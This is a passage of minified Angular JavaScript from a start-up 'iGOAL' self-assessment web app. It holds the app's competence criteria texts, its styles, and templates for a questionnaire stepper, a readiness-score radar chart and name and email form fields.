have comprehensive competences for successful start-ups in the iGOAL context.\n\tYou understand and demonstrate the importance of intergenerational collaboration to support\n\tthe internationalization of a start-up. You are considered a role model by others and regularly\n\texceed expectations with significant impact. You inspire others to\n\tinnovate in a global and intergenerational context.\u201d")}openCriteriaDialog(e){this.criteriaText(e);const t=this.dialog.open(gr,{width:"500px",data:{content:this.content}}).afterClosed().subscribe();this.subscribers.push(t)}criteriaText(e){switch(e){case"none":this.content='\n<span class="font-sbold"><u>None</u></span>:\n"For us, the competence is a new approach for the startups success\nin the iGOAL context, .. Have/has a limited understanding or experience\nof the competence and have not yet demonstrated the competence for\nstartups in the iGOAL context".\n</br> Supporting criteria:</br> <ul>\n<li>limited to no understanding or experience of competence for general purposes (not specific to innovation in intergenerational and global contexts).</li>\n<li>No use of the competence or the value required for start-up innovation in the intergenerational and global context.</li>\n</ul>';break;case"basic":this.content='\n<span class="font-sbold"><u>Basic</u></span>:\n".. understand the basic knowledge to discuss the competence and ..\nbelieve that the underlying concept of competence has a positive effect\non the success of the start in the iGOAL context"\n</br> Supporting criteria:</br> <ul>\n<li>Basic understanding or knowledge related to the competence required for innovation in the intergenerational and global context.</li>\n<li>Understands and is willing to discuss terminology and concepts related to competence. </li>\nHave basic or sufficient knowledge to perform routine tasks for the competence.</li></ul>';break;case"advanced":this.content='\n<span class="font-sbold"><u>Advanced</u></span>:\n".. have/has demonstrated the competence in iGOAL settings that\ncontribute positively to the start-up internationalization and ..\nappreciate the importance of competence in relation to\nmy start-up journey"\n</br> Supporting criteria:</br> <ul>\n<li>Highly detailed knowledge, understanding, an application of competence to be successful start-ups in the iGOAL context.</li>\n<li>Requires minimal guidance or supervision / can work independently. </li>\n<li>Shows continuous success in implementing the competence in the start-up iGOAL context. </li>\n<li>Ability to assist others in the application of competence.</li>\n<li>Ability to prioritize issues, problems, challenges and tasks related to the competences and values</li></ul>';break;case"expert":this.content='\n<span class="font-sbold"><u>Expert</u></span>:\n".. have/has successfully contributed the expertise to several global\nstart-up projects, happy to pass on the expertise on competence and ..\nhelp other start-ups to be globally innovative through\nintergenerational collaboration"\n</br> Supporting criteria:</br> <ul>\n<li>Is able to coach or train others about the competence/values. </li>\n<li>In-depth knowledge, understanding and application of the competence required for successful start-ups in the iGOAL context.</li>\n<li>Can apply the competence across multiple projects or functions in the iGOAL context. </li>\n<li>Recognized by others as an expert in the competence area.</li>\n<li>Can create new applications or processes. </li>\n<li>Ability to identify and explain problems related to broader organizational issues.</li></ul>'}}navigateToStepInfo(){this.router.navigate(["/base/step-info"])}}var Er=n("iInd"),Rr=n("s6ns"),Nr=a.pb({encapsulation:2,styles:[[".assessment .bg-almost{background-color:#fff2cc}.assessment .bg-half{background-color:#ffe699}.assessment .bg-unprepared{background-color:#ffd34d}.assessment .legend-barChart{width:100%;height:25px;background-color:#fff}.assessment .question{width:50%;height:100%;max-height:100%}.assessment .question.background03{background:url(background03.075c24a946ee01084539.jpg) left center/cover no-repeat fixed}.assessment .question.background04{background:url(background04.75981ad7fd0ab97a3be9.jpg) left center/cover no-repeat fixed}.assessment .question.background05{background:url(background05.43f15bd0740f3e1211a5.jpg) left center/cover no-repeat fixed}.assessment .question.background06{background:url(background06.52effb2f32a4a411aa94.jpg) left center/cover no-repeat fixed}.assessment .question.background07{background:url(background07.8a15ddc70949147fa798.jpg) left center/cover no-repeat fixed}.assessment .question.background08{background:url(background08.06b32236f4f500c9a7f8.jpg) left center/cover no-repeat fixed}.assessment .question.background09{background:url(background09.f33fef0149dd42f78b5b.jpg) left center/cover no-repeat fixed}.assessment .question.background10{background:url(background10.a6829704b6f1912c3d8b.jpg) left center/cover no-repeat fixed}.assessment .question-container{height:100%;display:flex;align-items:flex-start;background-color:rgba(192,192,192,.6)}.assessment .question-container .grey{background-color:rgba(192,192,192,.6)}.assessment .question-container .blue{background-color:rgba(51,153,255,.6)}.assessment .question-container .green{background-color:rgba(51,204,51,.6)}.assessment .question-container mat-horizontal-stepper{height:90%;max-height:90%;overflow-y:scroll}.assessment .question-container mat-horizontal-stepper mat-step-header{padding:0}.assessment .question-container mat-horizontal-stepper mat-step-header::after{border:0}.assessment .question-container mat-horizontal-stepper mat-step-header .mat-step-label{padding:0;min-width:30px}.assessment .question-container mat-horizontal-stepper mat-step-header .mat-step-icon{height:10px;width:10px;margin:7px 0}.assessment .question-container mat-horizontal-stepper mat-step-header .mat-step-icon span{color:transparent}.assessment .question-container mat-horizontal-stepper mat-step-header .mat-step-icon.mat-step-icon-selected{height:24px;width:24px;margin:unset}.assessment .question-container mat-horizontal-stepper mat-step-header .mat-step-icon.mat-step-icon-selected span{color:#f8f9fa}.assessment .question-container mat-horizontal-stepper .mat-horizontal-stepper-header-container{padding-left:20px}.assessment .question-container mat-horizontal-stepper .mat-stepper-horizontal-line{top:13px;border:0;position:absolute}.assessment .classification{height:100%;max-height:100%;flex-basis:50%;display:flex;align-items:center}.assessment .reports.background03{background:url(background03.075c24a946ee01084539.jpg) left center/cover no-repeat fixed}.assessment .reports-container{height:100%;display:flex;overflow-y:hidden;align-items:flex-start;background-color:rgba(192,192,192,.6)}.assessment .reports-container .w-98{width:98%!important}.assessment .reports-container .grey{padding:10px;border-radius:20px;background-color:rgba(192,192,192,.6)}.assessment .reports-container .table{font-size:10px}.assessment .reports-container .table th{padding:.1rem;vertical-align:middle;white-space:nowrap}.assessment .reports-container .table tr td{padding:.1rem;vertical-align:middle}@media (max-width:575.98px){.assessment .question,.assessment .score{width:100%}.assessment .question .mat-horizontal-stepper-header-container{visibility:hidden!important;display:none!important}.assessment .classification{width:100%;flex-basis:40%}.assessment .classification .mb-3rem{margin-bottom:3rem!important}.assessment .reports{width:100%;flex-basis:60%}.assessment .reports-container .w-97{width:97%!important}}@media (max-width:992px){.assessment .question .mat-horizontal-stepper-header-container{visibility:hidden!important;display:none!important}}"]],data:{}});function Wr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,2,"div",[["class","score col-md-6 col-sm-12 col-lg-6 col-12 m-0 p-0 d-flex justify-content-center py-5"]],null,null,null,null,null)),(e()(),a.rb(1,0,null,null,1,"p",[["class","align-self-center font-32px font-xs-18px mx-5 mt-2"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Team diversity and generational differences are one of the novel keys to developing a global business model. "]))],null,null)}function zr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,9,"div",[["class","score col-md-6 col-sm-12 col-lg-6 col-12 m-0 p-0 py-5"]],null,null,null,null,null)),(e()(),a.rb(1,0,null,null,8,null,null,null,null,null,null,null)),(e()(),a.rb(2,0,null,null,2,"div",[["class","mb-3 d-xl-block d-none d-sm-block d-sm-none d-md-block"]],null,null,null,null,null)),(e()(),a.rb(3,0,null,null,1,"canvas",[["baseChart",""]],null,null,null,null,null)),a.qb(4,999424,null,0,ht,[a.k,ut],{datasets:[0,"datasets"],labels:[1,"labels"],options:[2,"options"],chartType:[3,"chartType"]},null),(e()(),a.rb(5,0,null,null,0,"br",[],null,null,null,null,null)),(e()(),a.rb(6,0,null,null,1,"p",[["class","font-22px font-xs-20px font-sbold text-center mb-0"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Your iGOAL-readiness Score: "])),(e()(),a.rb(8,0,null,null,1,"p",[["class","font-30px font-xs-22px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(9,null,[" "," / 100 "]))],(function(e,t){var n=t.component;e(t,4,0,n.radarChartData,n.radarChartLabels,n.radarChartOptions,n.radarChartType)}),(function(e,t){e(t,9,0,t.component.assessment.score)}))}function Vr(e){return a.Jb(0,[(e()(),a.gb(0,null,null,0))],null,null)}function qr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,3,"mat-radio-button",[["class","flex-radio-button mat-radio-button"]],[[2,"mat-radio-checked",null],[2,"mat-radio-disabled",null],[2,"_mat-animation-noopable",null],[2,"mat-primary",null],[2,"mat-accent",null],[2,"mat-warn",null],[1,"tabindex",0],[1,"id",0],[1,"aria-label",0],[1,"aria-labelledby",0],[1,"aria-describedby",0]],[[null,"focus"]],(function(e,t,n){var r=!0;return"focus"===t&&(r=!1!==a.Db(e,1)._inputElement.nativeElement.focus()&&r),r}),Rn,En)),a.qb(1,4440064,[[31,4]],0,Cn,[[2,Yn],a.k,a.h,Fn.b,In.b,[2,Pn.a],[2,wn]],{value:[0,"value"]},null),(e()(),a.rb(2,0,null,0,1,"i",[],null,null,null,null,null)),(e()(),a.Ib(3,null,["",""]))],(function(e,t){e(t,1,0,t.context.$implicit.value)}),(function(e,t){e(t,0,1,[a.Db(t,1).checked,a.Db(t,1).disabled,"NoopAnimations"===a.Db(t,1)._animationMode,"primary"===a.Db(t,1).color,"accent"===a.Db(t,1).color,"warn"===a.Db(t,1).color,-1,a.Db(t,1).id,null,null,null]),e(t,3,0,t.context.$implicit.label)}))}function Br(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"span",[["class","text-primary pointer"]],null,[[null,"click"]],(function(e,t,n){var a=!0;return"click"===t&&(a=!1!==e.component.openCriteriaDialog("none")&&a),a}),null,null)),(e()(),a.Ib(-1,null,["Criteria"]))],null,null)}function Gr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"span",[["class","text-primary pointer"]],null,[[null,"click"]],(function(e,t,n){var a=!0;return"click"===t&&(a=!1!==e.component.openCriteriaDialog("basic")&&a),a}),null,null)),(e()(),a.Ib(-1,null,["Criteria"]))],null,null)}function Jr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"span",[["class","text-primary pointer"]],null,[[null,"click"]],(function(e,t,n){var a=!0;return"click"===t&&(a=!1!==e.component.openCriteriaDialog("advanced")&&a),a}),null,null)),(e()(),a.Ib(-1,null,["Criteria"]))],null,null)}function Ur(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"span",[["class","text-primary pointer"]],null,[[null,"click"]],(function(e,t,n){var a=!0;return"click"===t&&(a=!1!==e.component.openCriteriaDialog("expert")&&a),a}),null,null)),(e()(),a.Ib(-1,null,["Criteria"]))],null,null)}function $r(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,12,"mat-radio-button",[["class","flex-radio-button mat-radio-button"]],[[2,"mat-radio-checked",null],[2,"mat-radio-disabled",null],[2,"_mat-animation-noopable",null],[2,"mat-primary",null],[2,"mat-accent",null],[2,"mat-warn",null],[1,"tabindex",0],[1,"id",0],[1,"aria-label",0],[1,"aria-labelledby",0],[1,"aria-describedby",0]],[[null,"focus"]],(function(e,t,n){var r=!0;return"focus"===t&&(r=!1!==a.Db(e,1)._inputElement.nativeElement.focus()&&r),r}),Rn,En)),a.qb(1,4440064,[[33,4]],0,Cn,[[2,Yn],a.k,a.h,Fn.b,In.b,[2,Pn.a],[2,wn]],{value:[0,"value"]},null),(e()(),a.rb(2,0,null,0,1,"i",[],null,null,null,null,null)),(e()(),a.Ib(3,null,["",""])),(e()(),a.Ib(-1,0,[" -- "])),(e()(),a.gb(16777216,null,0,1,null,Br)),a.qb(6,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,0,1,null,Gr)),a.qb(8,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,0,1,null,Jr)),a.qb(10,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,0,1,null,Ur)),a.qb(12,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null)],(function(e,t){e(t,1,0,t.context.$implicit.value),e(t,6,0,0===t.context.index),e(t,8,0,1===t.context.index),e(t,10,0,2===t.context.index),e(t,12,0,3===t.context.index)}),(function(e,t){e(t,0,1,[a.Db(t,1).checked,a.Db(t,1).disabled,"NoopAnimations"===a.Db(t,1)._animationMode,"primary"===a.Db(t,1).color,"accent"===a.Db(t,1).color,"warn"===a.Db(t,1).color,-1,a.Db(t,1).id,null,null,null]),e(t,3,0,t.context.$implicit.label)}))}function Kr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,41,null,null,null,null,null,null,null)),(e()(),a.rb(1,0,null,null,40,"mat-step",[],null,null,null,ma,ca)),a.Fb(6144,null,kn.a,null,[ta]),a.qb(3,573440,[[1,4]],1,ta,[na,[1,kn.a],[2,Gn]],{stepControl:[0,"stepControl"]},null),a.Gb(603979776,32,{stepLabel:0}),(e()(),a.rb(5,0,null,0,36,"div",[["class","mt-2"]],null,null,null,null,null)),(e()(),a.rb(6,0,null,null,35,"form",[["novalidate",""]],[[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null]],[[null,"submit"],[null,"reset"]],(function(e,t,n){var r=!0;return"submit"===t&&(r=!1!==a.Db(e,8).onSubmit(n)&&r),"reset"===t&&(r=!1!==a.Db(e,8).onReset()&&r),r}),null,null)),a.qb(7,16384,null,0,cn,[],null,null),a.qb(8,540672,null,0,mn,[[8,null],[8,null]],{form:[0,"form"]},null),a.Fb(2048,null,kt,null,[mn]),a.qb(10,16384,null,0,Tt,[[4,kt]],null,null),(e()(),a.rb(11,0,null,null,3,"p",[["class","font-sbold font-18px font-xs-16px text-center mb-4"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Category: "])),(e()(),a.rb(13,0,null,null,1,"u",[],null,null,null,null,null)),(e()(),a.Ib(14,null,["",""])),(e()(),a.rb(15,0,null,null,17,"div",[],null,null,null,null,null)),(e()(),a.rb(16,0,null,null,4,"label",[["class","font-xbold font-26px font-xs-18px"]],null,null,null,null,null)),(e()(),a.Ib(17,null,[" ",": "])),(e()(),a.rb(18,0,null,null,0,"br",[],null,null,null,null,null)),(e()(),a.rb(19,0,null,null,1,"p",[["class","font-weight-normal"]],null,null,null,null,null)),(e()(),a.Ib(20,null,[" "," "])),(e()(),a.rb(21,0,null,null,2,"p",[["class","font-sbold font-18px font-xs-16px mb-0"]],null,null,null,null,null)),(e()(),a.rb(22,0,null,null,1,"i",[],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Your self assessment:"])),(e()(),a.rb(24,0,null,null,8,"mat-radio-group",[["class","flex-radio-group font-sbold mat-radio-group"],["role","radiogroup"]],[[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null]],[[null,"change"]],(function(e,t,n){var a=!0;return"change"===t&&(a=!1!==e.component.updateAverage(e.context.$implicit)&&a),a}),null,null)),a.qb(25,1064960,null,1,Yn,[a.h],null,{change:"change"}),a.Gb(603979776,33,{_radios:1}),a.Fb(1024,null,yt,(function(e){return[e]}),[Yn]),a.qb(28,671744,null,0,gn,[[3,kt],[8,null],[8,null],[6,yt],[2,hn]],{name:[0,"name"]},null),a.Fb(2048,null,xt,null,[gn]),a.qb(30,16384,null,0,Yt,[[4,xt]],null,null),(e()(),a.gb(16777216,null,null,1,null,$r)),a.qb(32,278528,null,0,On.i,[a.N,a.K,a.q],{ngForOf:[0,"ngForOf"]},null),(e()(),a.rb(33,0,null,null,8,"div",[["class","d-flex"]],null,null,null,null,null)),(e()(),a.rb(34,0,null,null,3,"button",[["class","rounded-25px mr-2"],["color","accent"],["mat-raised-button",""],["matStepperPrevious",""]],[[8,"type",0],[1,"disabled",0],[2,"_mat-animation-noopable",null]],[[null,"click"]],(function(e,t,n){var r=!0;return"click"===t&&(r=!1!==a.Db(e,35)._handleClick()&&r),r}),Sa.b,Sa.a)),a.qb(35,16384,null,0,ia,[Jn],null,null),a.qb(36,180224,null,0,la.b,[a.k,Fn.b,[2,Pn.a]],{color:[0,"color"]},null),(e()(),a.Ib(-1,0,["Back"])),(e()(),a.rb(38,0,null,null,3,"button",[["class","rounded-25px"],["color","primary"],["mat-raised-button",""],["matStepperNext",""]],[[8,"type",0],[1,"disabled",0],[2,"_mat-animation-noopable",null]],[[null,"click"]],(function(e,t,n){var r=!0,i=e.component;return"click"===t&&(r=!1!==a.Db(e,39)._handleClick()&&r),"click"===t&&(r=!1!==i.lastStep(e.context.last)&&r),r}),Sa.b,Sa.a)),a.qb(39,16384,null,0,ra,[Jn],null,null),a.qb(40,180224,null,0,la.b,[a.k,Fn.b,[2,Pn.a]],{disabled:[0,"disabled"],color:[1,"color"]},null),(e()(),a.Ib(-1,0,["Next"]))],(function(e,t){var n=t.component;e(t,3,0,n.assessmentForm.get("q"+t.context.$implicit.id)),e(t,8,0,n.assessmentForm),e(t,28,0,"q"+t.context.$implicit.id),e(t,32,0,n.answerOption),e(t,36,0,"accent"),e(t,40,0,!n.assessmentForm.get("q"+t.context.$implicit.id).valid,"primary")}),(function(e,t){e(t,6,0,a.Db(t,10).ngClassUntouched,a.Db(t,10).ngClassTouched,a.Db(t,10).ngClassPristine,a.Db(t,10).ngClassDirty,a.Db(t,10).ngClassValid,a.Db(t,10).ngClassInvalid,a.Db(t,10).ngClassPending),e(t,14,0,t.context.$implicit.category),e(t,17,0,t.context.$implicit.title),e(t,20,0,t.context.$implicit.question),e(t,24,0,a.Db(t,30).ngClassUntouched,a.Db(t,30).ngClassTouched,a.Db(t,30).ngClassPristine,a.Db(t,30).ngClassDirty,a.Db(t,30).ngClassValid,a.Db(t,30).ngClassInvalid,a.Db(t,30).ngClassPending),e(t,34,0,a.Db(t,35).type,a.Db(t,36).disabled||null,"NoopAnimations"===a.Db(t,36)._animationMode),e(t,38,0,a.Db(t,39).type,a.Db(t,40).disabled||null,"NoopAnimations"===a.Db(t,40)._animationMode)}))}function Zr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,124,"div",[["class","assessment h-100 row m-0"]],null,null,null,null,null)),(e()(),a.gb(16777216,null,null,1,null,Wr)),a.qb(2,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,null,1,null,zr)),a.qb(4,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.rb(5,0,null,null,119,"div",[["class","question col-md-6 col-sm-12 col-lg-6 col-12 m-0 p-0"]],null,null,null,null,null)),a.Fb(512,null,On.v,On.w,[a.q,a.r,a.k,a.C]),a.qb(7,278528,null,0,On.h,[On.v],{klass:[0,"klass"],ngClass:[1,"ngClass"]},null),a.Eb(8,{background03:0,background04:1,background05:2,background06:3,background07:4,background08:5,background09:6,background10:7}),(e()(),a.rb(9,0,null,null,115,"div",[["class","question-container"]],null,null,null,null,null)),(e()(),a.rb(10,0,null,null,114,"mat-horizontal-stepper",[["aria-orientation","horizontal"],["class","m-4 pt-4 px-4 w-100 mat-stepper-horizontal"],["labelPosition","bottom"],["linear",""],["role","tablist"]],[[2,"mat-stepper-label-position-end",null],[2,"mat-stepper-label-position-bottom",null]],[[null,"selectionChange"]],(function(e,t,n){var a=!0;return"selectionChange"===t&&(a=!1!==e.component.updateSelectedStep(n.selectedIndex)&&a),a}),ba,_a)),a.Fb(512,null,On.v,On.w,[a.q,a.r,a.k,a.C]),a.qb(12,278528,null,0,On.h,[On.v],{klass:[0,"klass"],ngClass:[1,"ngClass"]},null),a.Eb(13,{grey:0,blue:1,green:2}),a.qb(14,5423104,[["stepper",4]],2,aa,[[2,Hn.b],a.h,a.k,On.c],{linear:[0,"linear"],labelPosition:[1,"labelPosition"]},{selectionChange:"selectionChange"}),a.Gb(603979776,1,{_steps:1}),a.Gb(603979776,2,{_icons:1}),a.Fb(2048,null,na,null,[aa]),a.Fb(2048,null,Jn,null,[aa]),(e()(),a.gb(0,null,null,1,null,Vr)),a.qb(20,16384,[[2,4]],0,ea,[a.K],{name:[0,"name"]},null),(e()(),a.rb(21,0,null,null,101,"mat-step",[],null,null,null,ma,ca)),a.qb(22,573440,[[1,4]],1,ta,[na,[1,kn.a],[2,Gn]],{stepControl:[0,"stepControl"]},null),a.Gb(603979776,3,{stepLabel:0}),a.Fb(2048,null,kn.a,null,[ta]),(e()(),a.rb(25,0,null,0,97,"div",[["class","mt-2"]],null,null,null,null,null)),(e()(),a.rb(26,0,null,null,96,"form",[["autocomplete","off"],["novalidate",""]],[[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null]],[[null,"submit"],[null,"reset"]],(function(e,t,n){var r=!0;return"submit"===t&&(r=!1!==a.Db(e,28).onSubmit(n)&&r),"reset"===t&&(r=!1!==a.Db(e,28).onReset()&&r),r}),null,null)),a.qb(27,16384,null,0,cn,[],null,null),a.qb(28,540672,null,0,mn,[[8,null],[8,null]],{form:[0,"form"]},null),a.Fb(2048,null,kt,null,[mn]),a.qb(30,16384,null,0,Tt,[[4,kt]],null,null),(e()(),a.rb(31,0,null,null,83,"section",[],null,null,null,null,null)),(e()(),a.rb(32,0,null,null,23,"mat-form-field",[["class","font-sbold font-0c0c0c mat-form-field"]],[[2,"mat-form-field-appearance-standard",null],[2,"mat-form-field-appearance-fill",null],[2,"mat-form-field-appearance-outline",null],[2,"mat-form-field-appearance-legacy",null],[2,"mat-form-field-invalid",null],[2,"mat-form-field-can-float",null],[2,"mat-form-field-should-float",null],[2,"mat-form-field-has-label",null],[2,"mat-form-field-hide-placeholder",null],[2,"mat-form-field-disabled",null],[2,"mat-form-field-autofilled",null],[2,"mat-focused",null],[2,"mat-accent",null],[2,"mat-warn",null],[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null],[2,"_mat-animation-noopable",null]],null,null,tr,Va)),a.qb(33,7520256,null,9,Na,[a.k,a.h,[2,kn.c],[2,Hn.b],[2,Ra],An.a,a.x,[2,Pn.a]],null,null),a.Gb(603979776,4,{_controlNonStatic:0}),a.Gb(335544320,5,{_controlStatic:0}),a.Gb(603979776,6,{_labelChildNonStatic:0}),a.Gb(335544320,7,{_labelChildStatic:0}),a.Gb(603979776,8,{_placeholderChild:0}),a.Gb(603979776,9,{_errorChildren:1}),a.Gb(603979776,10,{_hintChildren:1}),a.Gb(603979776,11,{_prefixChildren:1}),a.Gb(603979776,12,{_suffixChildren:1}),(e()(),a.rb(43,0,null,3,2,"mat-label",[],null,null,null,null,null)),a.qb(44,16384,[[6,4],[7,4]],0,Pa,[],null,null),(e()(),a.Ib(-1,null,["Name"])),(e()(),a.rb(46,0,null,1,9,"input",[["class","mat-input-element mat-form-field-autofill-control"],["formControlName","name"],["matInput",""],["placeholder","Name"],["required",""]],[[1,"required",0],[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null],[2,"mat-input-server",null],[1,"id",0],[1,"placeholder",0],[8,"disabled",0],[8,"required",0],[1,"readonly",0],[1,"aria-describedby",0],[1,"aria-invalid",0],[1,"aria-required",0]],[[null,"input"],[null,"blur"],[null,"compositionstart"],[null,"compositionend"],[null,"focus"]],(function(e,t,n){var r=!0;return"input"===t&&(r=!1!==a.Db(e,47)._handleInput(n.target.value)&&r),"blur"===t&&(r=!1!==a.Db(e,47).onTouched()&&r),"compositionstart"===t&&(r=!1!==a.Db(e,47)._compositionStart()&&r),"compositionend"===t&&(r=!1!==a.Db(e,47)._compositionEnd(n.target.value)&&r),"blur"===t&&(r=!1!==a.Db(e,54)._focusChanged(!1)&&r),"focus"===t&&(r=!1!==a.Db(e,54)._focusChanged(!0)&&r),"input"===t&&(r=!1!==a.Db(e,54)._onInput()&&r),r}),null,null)),a.qb(47,16384,null,0,vt,[a.C,a.k,[2,Mt]],null,null),a.qb(48,16384,null,0,bn,[],{required:[0,"required"]},null),a.Fb(1024,null,Ct,(function(e){return[e]}),[bn]),a.Fb(1024,null,yt,(function(e){return[e]}),[vt]),a.qb(51,671744,null,0,gn,[[3,kt],[6,Ct],[8,null],[6,yt],[2,hn]],{name:[0,"name"]},null),a.Fb(2048,null,xt,null,[gn]),a.qb(53,16384,null,0,Yt,[[4,xt]],null,null),a.qb(54,999424,null,0,ur,[a.k,An.a,[6,xt],[2,ln],[2,mn],kn.a,[8,null],rr,a.x],{placeholder:[0,"placeholder"],required:[1,"required"]},null),a.Fb(2048,[[4,4],[5,4]],Ha,null,[ur]),(e()(),a.rb(56,0,null,null,23,"mat-form-field",[["class","font-sbold font-0c0c0c mat-form-field"]],[[2,"mat-form-field-appearance-standard",null],[2,"mat-form-field-appearance-fill",null],[2,"mat-form-field-appearance-outline",null],[2,"mat-form-field-appearance-legacy",null],[2,"mat-form-field-invalid",null],[2,"mat-form-field-can-float",null],[2,"mat-form-field-should-float",null],[2,"mat-form-field-has-label",null],[2,"mat-form-field-hide-placeholder",null],[2,"mat-form-field-disabled",null],[2,"mat-form-field-autofilled",null],[2,"mat-focused",null],[2,"mat-accent",null],[2,"mat-warn",null],[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null],[2,"_mat-animation-noopable",null]],null,null,tr,Va)),a.qb(57,7520256,null,9,Na,[a.k,a.h,[2,kn.c],[2,Hn.b],[2,Ra],An.a,a.x,[2,Pn.a]],null,null),a.Gb(603979776,13,{_controlNonStatic:0}),a.Gb(335544320,14,{_controlStatic:0}),a.Gb(603979776,15,{_labelChildNonStatic:0}),a.Gb(335544320,16,{_labelChildStatic:0}),a.Gb(603979776,17,{_placeholderChild:0}),a.Gb(603979776,18,{_errorChildren:1}),a.Gb(603979776,19,{_hintChildren:1}),a.Gb(603979776,20,{_prefixChildren:1}),a.Gb(603979776,21,{_suffixChildren:1}),(e()(),a.rb(67,0,null,3,2,"mat-label",[],null,null,null,null,null)),a.qb(68,16384,[[15,4],[16,4]],0,Pa,[],null,null),(e()(),a.Ib(-1,null,["Email"])),(e()(),a.rb(70,0,null,1,9,"input",[["class","mat-input-element mat-form-field-autofill-control"],["formControlName","email"],["matInput",""],["placeholder","Email"],["required",""]],[[1,"required",0],[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null],[2,"mat-input-server",null],[1,"id",0],[1,"placeholder",0],[8,"disabled",0],[8,"required",0],[1,"readonly",0],[1,"aria-describedby",0],[1,"aria-invalid",0],[1,"aria-required",0]],[[null,"input"],[null,"blur"],[null,"compositionstart"],[null,"compositionend"],[null,"focus"]],(function(e,t,n){var r=!0;return"input"===t&&(r=!1!==a.Db(e,71)._handleInput(n.target.value)&&r),"blur"===t&&(r=!1!==a.Db(e,71).onTouched()&&r),"compositionstart"===t&&(r=!1!==a.Db(e,71)._compositionStart()&&r),"compositionend"===t&&(r=!1!==a.Db(e,71)._compositionEnd(n.target.value)&&r),"blur"===t&&(r=!1!==a.Db(e,78)._focusChanged(!1)&&r),"focus"===t&&(r=!1!==a.Db(e,78)._focusChanged(!0)&&r),"input"===t&&(r=!1!==a.Db(e,78)._onInput()&&r),r}),null,null)),a.qb(71,16384,null,0,vt,[a.C,a.k,[2,Mt]],null,null),a.qb(72,16384,null,0,bn,[],{required:[0,"required"]},null),a.Fb(1024,null,Ct,(function(e){return[e]}),[bn]),a.Fb(1024,null,yt,(function(e){return[e]}),[vt]),a.qb(75,671744,null,0,gn,[[3,kt],[6,Ct],[8,null],[6,yt],[2,hn]],{name:[0,"name"]},null),a.Fb(2048,null,xt,null,[gn]),a.qb(77,16384,null,0,Yt,[[4,xt]],null,null),a.qb(78,999424,null,0,ur,[a.k,An.a,[6,xt],[2,ln],[2,mn],kn.a,[8,null],rr,a.x],{placeholder:[0,"placeholder"],required:[1,"required"]},null),a.Fb(2048,[[13,4],[14,4]],Ha,null,[ur]),(e()(),a.rb(80,0,null,null,23,"mat-form-field",[["class","font-sbold font-0c0c0c mat-form-field"]],[[2,"mat-form-field-appearance-standard",null],[2,"mat-form-field-appearance-fill",null],[2,"mat-form-field-appearance-outline",null],[2,"mat-form-field-appearance-legacy",null],[2,"mat-form-field-invalid",null],[2,"mat-form-field-can-float",null],[2,"mat-form-field-should-float",null],[2,"mat-form-field-has-label",null],[2,"mat-form-field-hide-placeholder",null],[2,"mat-form-field-disabled",null],[2,"mat-form-field-autofilled",null],[2,"mat-focused",null],[2,"mat-accent",null],[2,"mat-warn",null],[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null],[2,"_mat-animation-noopable",null]],null,null,tr,Va)),a.qb(81,7520256,null,9,Na,[a.k,a.h,[2,kn.c],[2,Hn.b],[2,Ra],An.a,a.x,[2,Pn.a]],null,null),a.Gb(603979776,22,{_controlNonStatic:0}),a.Gb(335544320,23,{_controlStatic:0}),a.Gb(603979776,24,{_labelChildNonStatic:0}),a.Gb(335544320,25,{_labelChildStatic:0}),a.Gb(603979776,26,{_placeholderChild:0}),a.Gb(603979776,27,{_errorChildren:1}),a.Gb(603979776,28,{_hintChildren:1}),a.Gb(603979776,29,{_prefixChildren:1}),a.Gb(603979776,30,{_suffixChildren:1}),(e()(),a.rb(91,0,null,3,2,"mat-label",[],null,null,null,null,null)),a.qb(92,16384,[[24,4],[25,4]],0,Pa,[],null,null),(e()(),a.Ib(-1,null,["Organization Name"])),(e()(),a.rb(94,0,null,1,9,"input",[["class","mat-input-element mat-form-field-autofill-control"],["formControlName","organization"],["matInput",""],["placeholder","Organization 